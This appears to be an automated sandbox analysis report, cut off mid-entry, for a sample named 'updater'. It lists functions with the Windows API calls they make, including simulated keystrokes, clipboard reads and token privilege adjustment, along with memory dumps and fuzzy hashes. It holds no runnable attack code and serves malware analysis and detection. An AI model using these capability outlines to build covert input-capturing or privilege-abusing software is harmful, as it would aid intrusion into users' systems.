Function 00BB13C7 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00BB13C8

Part of subcall function 00BB29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BB29F3

Part of subcall function 00BB2714: GetCursorPos.USER32(?), ref: 00BB2727
Part of subcall function 00BB2714: ScreenToClient.USER32(00C777B0,?), ref: 00BB2744
Part of subcall function 00BB2714: GetAsyncKeyState.USER32(00000001), ref: 00BB2769
Part of subcall function 00BB2714: GetAsyncKeyState.USER32(00000002), ref: 00BB2777

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: AsyncStateWindow$ClientCursorForegroundLongScreen
String ID:
API String ID: 4074248120-0
Opcode ID: cfed14185f19884c82c57c3d5b6c3f1eb1f21879a08dca24479e04b2d9d4ca28
Instruction ID: 691690b1598c1aa038d160e5cee9d0bcc5de3a1dbd94fe8687a19a0ca1b46b3f
Opcode Fuzzy Hash: cfed14185f19884c82c57c3d5b6c3f1eb1f21879a08dca24479e04b2d9d4ca28
Instruction Fuzzy Hash: 1DD0A7702000145BCA19BB1CDC99FAE37D1FF45320B244B95F4298B2F1CBB11C92CAE6

Function 0125488D Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0126648F,00000000,0126889F,01268A45,?,c:\,01268A45,?,c:\), ref: 01254898

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: d9ea6dab54ef532fb87bc64f2264bfe69af9be573fabfd3a2d7305f2dc2b692b
Instruction ID: e6f28a1ac3efe4217ae5e0ae7c18f123dc5f9e7549efe1d3e554b2450e8e71ce
Opcode Fuzzy Hash: d9ea6dab54ef532fb87bc64f2264bfe69af9be573fabfd3a2d7305f2dc2b692b
Instruction Fuzzy Hash: 6FC08CA02313820AAFD0B5BE0CC862A42880D681703202A62EE78E21CAE27180A22010

Function 01254BA5 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,?,0126649A,00000000,0126889F,01268A45,?,c:\,01268A45,?,c:\), ref: 01254BB2

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: 2afb928ea0769a03e65cdb2334b4541331df32d5787a6e4dcd60dacd8e68de1d
Instruction ID: cd526957f349183a05322d54851319994aaffa212cd75afa6bceadffb9b3b9cb
Opcode Fuzzy Hash: 2afb928ea0769a03e65cdb2334b4541331df32d5787a6e4dcd60dacd8e68de1d
Instruction Fuzzy Hash: 90B092927602415BEF4035B91CD0B3A008C9F24906F100831B902D6191D576C8140010

Function 00BD547B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00BD5486

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: f5ebaa9fa4f1da1ebb9f3540c2a2d8b53950eea62fe10187594e22a1fd352422
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: B7B0927A44020C77CE112A82EC03A597B699B40669F408061FB0C1C262B673A6A09A8A

Function 00C1D6BE Relevance: 1.4, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000002,00000000), ref: 00C1D842

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 025d66b94d4b5c33e124ba965903ef86c915e4a8cef776d42f7514df52783383
Instruction ID: f0c9ecac95d6497878af75abb4baa363dd963c241099f4110dfe51fa1006c604
Opcode Fuzzy Hash: 025d66b94d4b5c33e124ba965903ef86c915e4a8cef776d42f7514df52783383
Instruction Fuzzy Hash: 227172342043028FD714EF68D491FAEB7E0AF86354F444A6DF4969B2A2DB30ED45DB92

Function 0124E5A9 Relevance: 1.3, APIs: 1, Instructions: 71memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 0124E642

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ffd8894cff8bc55ad73d91b52e516dc31acf3ae20e7a23f2e3d17f7f9c00505b
Instruction ID: 9d19c034ef1f00453a83a595807d13abf8586e7249152120aac4c95be794d62d
Opcode Fuzzy Hash: ffd8894cff8bc55ad73d91b52e516dc31acf3ae20e7a23f2e3d17f7f9c00505b
Instruction Fuzzy Hash: 1A211CB0614246DFD754CF2CD880A5AB7E4FF88314F148928FA99CB340D330E9148B52

Function 0124E4E1 Relevance: 1.3, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000), ref: 0124E55A

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 0a7b852b44b22d580d3491d5ced9cf7d9123cf1969c45190e5d171909439a10e
Instruction ID: 85536634d4c911207b33b0378e7ea2c3f85331a7360093d0360e885292abe4c2
Opcode Fuzzy Hash: 0a7b852b44b22d580d3491d5ced9cf7d9123cf1969c45190e5d171909439a10e
Instruction Fuzzy Hash: BC21B0746143029FD324DF1CE484A1ABBE1FB98360F258969E5D887351E335E990CF96

Function 0124E669 Relevance: 1.3, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,?,00004000), ref: 0124E6F9

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: e28cbf8e075f201fcf84d429a146e39d694eaeb462436b1af8aeca81ad477151
Instruction ID: caa7c52b390116e6699bb60e490645909aff0b0b9498a8571a570ec4d2ba900c
Opcode Fuzzy Hash: e28cbf8e075f201fcf84d429a146e39d694eaeb462436b1af8aeca81ad477151
Instruction Fuzzy Hash: 4521EEB52152028FD724DF2CD884A2ABBE4FF99310F254968E5D8CB354D331E918CF62

Function 01266DE5 Relevance: 1.3, APIs: 1, Instructions: 39sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 01266D51: CreateFileA.KERNEL32(00000000,40000000,00000002,00000000,00000002,00000000,00000000,00000000,01266DD5), ref: 01266D96
Part of subcall function 01266D51: WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,40000000,00000002,00000000,00000002,00000000,00000000,00000000,01266DD5), ref: 01266DAE
Part of subcall function 01266D51: CloseHandle.KERNEL32(00000000,00000000,?,?,?,00000000,00000000,40000000,00000002,00000000,00000002,00000000,00000000,00000000,01266DD5), ref: 01266DBA

Sleep.KERNEL32(00000002,00000000,01266E56), ref: 01266E36

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: File$CloseCreateHandleSleepWrite
String ID:
API String ID: 1443029356-0
Opcode ID: 6f02bf627b2d2ed59da87ff778e642d49cde3e80a2ae9c83e555f025f71ce61e
Instruction ID: c9ba54ec3b350e285ac513e42f7efd4303bde19efb28ca696963cacbf537e9a8
Opcode Fuzzy Hash: 6f02bf627b2d2ed59da87ff778e642d49cde3e80a2ae9c83e555f025f71ce61e
Instruction Fuzzy Hash: D6F0A470A24609EFDB50EFA5CC81AADB7FCEB54700F504075A904E36D0DB309E91D610

Function 01266E5C Relevance: 1.3, APIs: 1, Instructions: 38sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 01266D51: CreateFileA.KERNEL32(00000000,40000000,00000002,00000000,00000002,00000000,00000000,00000000,01266DD5), ref: 01266D96
Part of subcall function 01266D51: WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,40000000,00000002,00000000,00000002,00000000,00000000,00000000,01266DD5), ref: 01266DAE
Part of subcall function 01266D51: CloseHandle.KERNEL32(00000000,00000000,?,?,?,00000000,00000000,40000000,00000002,00000000,00000002,00000000,00000000,00000000,01266DD5), ref: 01266DBA

Sleep.KERNEL32(00000002,00000000,01266E56), ref: 01266E36

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: File$CloseCreateHandleSleepWrite
String ID:
API String ID: 1443029356-0
Opcode ID: 897317622bc57b82f3aee9e7646a97d96afcab419192b2a3a8d9e67b64d544cf
Instruction ID: 9cc8f857b5cdd227b4b0ff6ae870d1a539ec7526a2b42a38a8a4de9cd4ed8f4b
Opcode Fuzzy Hash: 897317622bc57b82f3aee9e7646a97d96afcab419192b2a3a8d9e67b64d544cf
Instruction Fuzzy Hash: EBF0C274A24604EFDB50EFA5CC81ABDB7FCEB58700F5044B5E804E3690DB309E91CA00

Function 01274EB1 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000126F000.00000040.00000020.00020000.00000000.sdmp, Offset: 0126F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_126f000_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daf07dfe0449386a21cd617d80c280d79caee84e403b1fdd0f7a77803a7c3103
Instruction ID: ffbcd5aa04472be94914fa5af9bbffe2bbbcece8ecbc389d5d98531f89ed8fc4
Opcode Fuzzy Hash: daf07dfe0449386a21cd617d80c280d79caee84e403b1fdd0f7a77803a7c3103
Instruction Fuzzy Hash: 32310921129AC3ABEB217AACDC09BA3BB59BF06324F000715F755934C2D7709654C7A3

Non-executed Functions

Function 00C3D164 Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 637windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BB29F3

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 00C3D208
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00C3D249
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 00C3D28E
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00C3D2B8
SendMessageW.USER32 ref: 00C3D2E1
_wcsncpy.LIBCMT ref: 00C3D359
GetKeyState.USER32(00000011), ref: 00C3D37A
GetKeyState.USER32(00000009), ref: 00C3D387
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00C3D39D
GetKeyState.USER32(00000010), ref: 00C3D3A7
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00C3D3D0
SendMessageW.USER32 ref: 00C3D3F7
SendMessageW.USER32(?,00001030,?,00C3B9BA), ref: 00C3D4FD
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 00C3D513
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00C3D526
SetCapture.USER32(?), ref: 00C3D52F
ClientToScreen.USER32(?,?), ref: 00C3D594
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00C3D5A1
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00C3D5BB
ReleaseCapture.USER32 ref: 00C3D5C6
GetCursorPos.USER32(?), ref: 00C3D600
ScreenToClient.USER32(?,?), ref: 00C3D60D
SendMessageW.USER32(?,00001012,00000000,?), ref: 00C3D669
SendMessageW.USER32 ref: 00C3D697
SendMessageW.USER32(?,00001111,00000000,?), ref: 00C3D6D4
SendMessageW.USER32 ref: 00C3D703
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00C3D724
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00C3D733
GetCursorPos.USER32(?), ref: 00C3D753
ScreenToClient.USER32(?,?), ref: 00C3D760
GetParent.USER32(?), ref: 00C3D780
SendMessageW.USER32(?,00001012,00000000,?), ref: 00C3D7E9
SendMessageW.USER32 ref: 00C3D81A
ClientToScreen.USER32(?,?), ref: 00C3D878
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00C3D8A8
SendMessageW.USER32(?,00001111,00000000,?), ref: 00C3D8D2
SendMessageW.USER32 ref: 00C3D8F5
ClientToScreen.USER32(?,?), ref: 00C3D947
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00C3D97B

Part of subcall function 00BB29AB: GetWindowLongW.USER32(?,000000EB), ref: 00BB29BC

GetWindowLongW.USER32(?,000000F0), ref: 00C3DA17

Strings

F, xrefs: 00C3D8FB
@GUI_DRAGID, xrefs: 00C3D562

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F
API String ID: 3977979337-4164748364
Opcode ID: dc71832b9bb55e997923277773ae33910e59a47d40c217b2c59cee595387b9bd
Instruction ID: 16850ab9246f091c382aa41b74a46eae18df5989c4c0ae27cf59449c22fcebc3
Opcode Fuzzy Hash: dc71832b9bb55e997923277773ae33910e59a47d40c217b2c59cee595387b9bd
Instruction Fuzzy Hash: 0242BC74214341AFC724CF28D848BAEBBF5FF49320F140619FAAA872A1C7719D54CB92

Function 00BC5EDA Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,?), ref: 00BC5EE2
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00C010D7
IsIconic.USER32(?), ref: 00C010E0
ShowWindow.USER32(?,00000009), ref: 00C010ED
SetForegroundWindow.USER32(?), ref: 00C010F7
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00C0110D
GetCurrentThreadId.KERNEL32 ref: 00C01114
GetWindowThreadProcessId.USER32(?,00000000), ref: 00C01120
AttachThreadInput.USER32(?,00000000,00000001), ref: 00C01131
AttachThreadInput.USER32(?,00000000,00000001), ref: 00C01139
AttachThreadInput.USER32(00000000,?,00000001), ref: 00C01141
SetForegroundWindow.USER32(?), ref: 00C01144
MapVirtualKeyW.USER32(00000012,00000000), ref: 00C01159
keybd_event.USER32(00000012,00000000), ref: 00C01164
MapVirtualKeyW.USER32(00000012,00000000), ref: 00C0116E
keybd_event.USER32(00000012,00000000), ref: 00C01173
MapVirtualKeyW.USER32(00000012,00000000), ref: 00C0117C
keybd_event.USER32(00000012,00000000), ref: 00C01181
MapVirtualKeyW.USER32(00000012,00000000), ref: 00C0118B
keybd_event.USER32(00000012,00000000), ref: 00C01190
SetForegroundWindow.USER32(?), ref: 00C01193
AttachThreadInput.USER32(?,?,00000000), ref: 00C011BA

Strings

Shell_TrayWnd, xrefs: 00C010D2

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: e9ec91ad5fa76f4378832712a500d1a7afaefa3c40e7aad05a0a4b209479f514
Instruction ID: 9ac10f20b27eb7f247da255faf368fdee99e8a3ecc84afc99671bb6468ac8a7c
Opcode Fuzzy Hash: e9ec91ad5fa76f4378832712a500d1a7afaefa3c40e7aad05a0a4b209479f514
Instruction Fuzzy Hash: 16317276A80318BAEB206B619C49FBF7E6CFB45B50F244015FF05AA1D1CAB05D50EEA0

Function 00C08F2E Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 00C09399: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00C093E3
Part of subcall function 00C09399: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00C09410
Part of subcall function 00C09399: GetLastError.KERNEL32 ref: 00C0941D

_memset.LIBCMT ref: 00C08F71
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00C08FC3
CloseHandle.KERNEL32(?), ref: 00C08FD4
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00C08FEB
GetProcessWindowStation.USER32 ref: 00C09004
SetProcessWindowStation.USER32(00000000), ref: 00C0900E
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00C09028

Part of subcall function 00C08DE9: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00C08F27), ref: 00C08DFE
Part of subcall function 00C08DE9: CloseHandle.KERNEL32(?,?,00C08F27), ref: 00C08E10

Strings

winsta0, xrefs: 00C08FE6
, xrefs: 00C08F80
default, xrefs: 00C09023

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: 626aeeb1c9fd9d57f4e495e133f256781251e7e3b34b6a5c1775b0c2bf3a946d
Instruction ID: 43d21167beaf24aaf1e299869275b33ad44a92294a052aa13c1ef95c1afef2d3
Opcode Fuzzy Hash: 626aeeb1c9fd9d57f4e495e133f256781251e7e3b34b6a5c1775b0c2bf3a946d
Instruction Fuzzy Hash: 2781597590020ABFDF119FA4DC49BEEBBB9FF05314F144159F921A22A2D7318E15DB60

Function 00C24632 Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00C40980), ref: 00C2465C
IsClipboardFormatAvailable.USER32(0000000D), ref: 00C2466A
GetClipboardData.USER32(0000000D), ref: 00C24672
CloseClipboard.USER32 ref: 00C2467E
GlobalLock.KERNEL32(00000000), ref: 00C2469A
CloseClipboard.USER32 ref: 00C246A4
GlobalUnlock.KERNEL32(00000000), ref: 00C246B9
IsClipboardFormatAvailable.USER32(00000001), ref: 00C246C6
GetClipboardData.USER32(00000001), ref: 00C246CE
GlobalLock.KERNEL32(00000000), ref: 00C246DB
GlobalUnlock.KERNEL32(00000000), ref: 00C2470F
CloseClipboard.USER32 ref: 00C2481F

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: 2b4500fddb2fa4d213141c36334395e7d3239daddc778d39d06829c5a49d18f0
Instruction ID: b2ff293463177a895b87352fd4cd1dd2a187e90a83b3226744bcff50e3860fe2
Opcode Fuzzy Hash: 2b4500fddb2fa4d213141c36334395e7d3239daddc778d39d06829c5a49d18f0
Instruction Fuzzy Hash: 9E51C235284211ABD304EF64EC89FBE73A8BF85B00F104529FA5AD61E2DF70D905CB62

Function 00C1CD9F Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00C1CDD0
FindClose.KERNEL32(00000000), ref: 00C1CE24
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00C1CE49
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00C1CE60
FileTimeToSystemTime.KERNEL32(?,?), ref: 00C1CE87
__swprintf.LIBCMT ref: 00C1CED3
__swprintf.LIBCMT ref: 00C1CF16

Part of subcall function 00BC1A36: _memmove.LIBCMT ref: 00BC1A77

__swprintf.LIBCMT ref: 00C1CF6A

Part of subcall function 00BD38C8: __woutput_l.LIBCMT ref: 00BD3921

__swprintf.LIBCMT ref: 00C1CFB8

Part of subcall function 00BD38C8: __flsbuf.LIBCMT ref: 00BD3943
Part of subcall function 00BD38C8: __flsbuf.LIBCMT ref: 00BD395B

__swprintf.LIBCMT ref: 00C1D007
__swprintf.LIBCMT ref: 00C1D056
__swprintf.LIBCMT ref: 00C1D0A5

Strings

%4d, xrefs: 00C1CF10
%02d, xrefs: 00C1CF5E, 00C1CF68, 00C1CFB6, 00C1D005, 00C1D054, 00C1D0A3
%4d%02d%02d%02d%02d%02d, xrefs: 00C1CECD

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: d51768fed166c536e04fcccbcc1099717d9e1d791393f77dd5bb79e87ce26ea3
Instruction ID: 80b55744768151c97e328e3ea4aca3bd9aaa6ef06f734fedbcc4264cd2967b4e
Opcode Fuzzy Hash: d51768fed166c536e04fcccbcc1099717d9e1d791393f77dd5bb79e87ce26ea3
Instruction Fuzzy Hash: B0A13AB1404304ABC710EFA4C986EAFB7ECFF95704F40096DF59586192EB70EA49CB62

Function 00C1F5D8 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75918FB0,?,00000000), ref: 00C1F5F9
_wcscmp.LIBCMT ref: 00C1F60E
_wcscmp.LIBCMT ref: 00C1F625
GetFileAttributesW.KERNEL32(?), ref: 00C1F637
SetFileAttributesW.KERNEL32(?,?), ref: 00C1F651
FindNextFileW.KERNEL32(00000000,?), ref: 00C1F669
FindClose.KERNEL32(00000000), ref: 00C1F674
FindFirstFileW.KERNEL32(*.*,?), ref: 00C1F690
_wcscmp.LIBCMT ref: 00C1F6B7
_wcscmp.LIBCMT ref: 00C1F6CE
SetCurrentDirectoryW.KERNEL32(?), ref: 00C1F6E0
SetCurrentDirectoryW.KERNEL32(00C6B578), ref: 00C1F6FE
FindNextFileW.KERNEL32(00000000,00000010), ref: 00C1F708
FindClose.KERNEL32(00000000), ref: 00C1F715
FindClose.KERNEL32(00000000), ref: 00C1F727

Strings

*.*, xrefs: 00C1F68B

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: be9fc899681cc4ed21c7701c060e11a9ef7e9fee07816462a523e5468d2b593e
Instruction ID: 96223770b39a845447676e804f3a678040d51058bc650dcb4eda6cb4eea5853d
